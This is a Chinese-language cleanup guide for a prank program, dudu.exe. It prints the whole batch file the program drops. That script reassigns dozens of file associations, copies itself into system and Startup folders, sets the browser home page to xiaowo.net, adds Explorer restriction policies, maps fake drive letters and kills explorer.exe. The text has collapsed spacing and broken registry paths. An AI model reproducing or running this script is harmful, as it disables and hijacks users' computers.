恶作剧程序dudu.exe清除解决方案
dudu.exe运行后,当前用户临时文件夹中释放一个bt0577.bat批处理文件。这是个恶作剧程序。想办法阻止此.bat运行,用记事本打开该文件,可以看到下列内容:
@echooff
assoc.txt=exefile
assoc.exe=txtfile
assoc.htm=exefile
assoc.html=exefile
assoc.com=txtfile
assoc.gho=txtfile
assoc.rar=txtfile
assoc.zip=txtfile
assoc.chm=txtfile
assoc.jpg=txtfile
assoc.doc=exefile
assoc.ppt=txtfile
assoc.vbs=txtfile
assoc.cmd=txtfile
assoc.bmp=txtfile
assoc.gif=txtfile
assoc.ico=txtfile
assoc.png=txtfile
assoc.jpeg=txtfile
assoc.jpe=txtfile
assoc.jfif=txtfile
assoc.fla=txtfile
assoc.swf=txtfile
assoc.avi=txtfile
assoc.mov=txtfile
assoc.asf=txtfile
assoc.wmv=txtfile
assoc.rm=txtfile
assoc.ra=txtfile
assoc.mvb=txtfile
assoc.flv=txtfile
assoc.mpg=txtfile
assoc.wav=txtfile
assoc.mpeg=txtfile
assoc.mp3=txtfile
assoc.mp4=txtfile
assoc.3gp=txtfile
assoc.3g2=txtfile
assoc.dat=txtfile
assoc.msi=txtfile
assoc.bat=txtfile
copy%0"%windir%system32"
copy%0"%systemdrive%"
copy%0"%userprofile%「开始」菜单程序启动*.*"
regadd"HKEY_CURRENT_USERSoftwareMicrosoftInternetExplorerMain"/v"Start
Page"/treg_sz/dhttp://www.xiaowo.net/f
regadd"HKEY_CURRENT_USERSoftwareMicrosoftInternetExplorerMain"/v
"Default_Page_URL"/treg_sz/dhttp://www.xiaowo.net/f
regadd
HKEY_CURRENT_USERSOFTWARWMicrosoftWindowsCurrentVersionPoliciesExplorer/v
NoFind/tREG_DWORD/d1/f
regadd
HKEY_CURRENT_USERSOFTWARWMicrosoftWindowsCurrentVersionPoliciesExplorer/v
NoRun/tREG_DWORD/d0/f
regadd
HKEY_CURRENT_USERSOFTWARWMicrosoftWindowsCurrentVersionPoliciesExplorer/v
NoClose/tREG_DWORD/d1/f
regadd
HKEY_CURRENT_USERSOFTWARWMicrosoftWindowsCurrentVersionPoliciesExplorer/v
HideClock/tREG_DWORD/d1/f
regadd
HKEY_CURRENT_USERSOFTWARWMicrosoftWindowsCurrentVersionPoliciesExplorer/v
StartMenuLogOff/tREG_DWORD/d1/f
regadd
HKEY_CURRENT_USERSOFTWARWMicrosoftWindowsCurrentVersionPoliciesExplorer/v
nodrives/tREG_DWORD/d60/f
substb:C:
substh:C:
substi:C:
substj:C:
substk:C:
substl:C:
substm:C:
substn:C:
substo:C:
substp:C:
substq:C:
substr:C:
substs:C:
substt:C:
substu:C:
substv:C:
substw:C:
substx:C:
substy:C:
substz:C:
taskkill/imexplorer.exe/f
regadd
HKEY_CURRENT_USERSOFTWARWMicrosoftWindowsCurrentVersionPoliciesExplorer/v
NoFolderOptions/tREG_DWORD/d1/f
regadd
HKEY_CURRENT_USERSOFTWARWMicrosoftWindowsCurrentVersionPoliciesExplorer/v
NoViewContextMenu/tREG_DWORD/d0/f
regadd
HKEY_CURRENT_USERSOFTWARWMicrosoftWindowsCurrentVersionPoliciesExplorer/v
NoWinKeys/tREG_DWORD/d1/f
——————————————————————
如果bt0577.bat运行了,资源管理器进程被结束,用户只有一个空桌面可看了;文件关联被改得乱七八糟;三键调出任务管理器,?重新启动资源管理器,用资源管理器查看,可见硬盘分区增加n个其实并未增加(可用PQ核实)。
此程序不能穿透影子。如果在影子中运行从恶作剧程序,重启一下就OK了。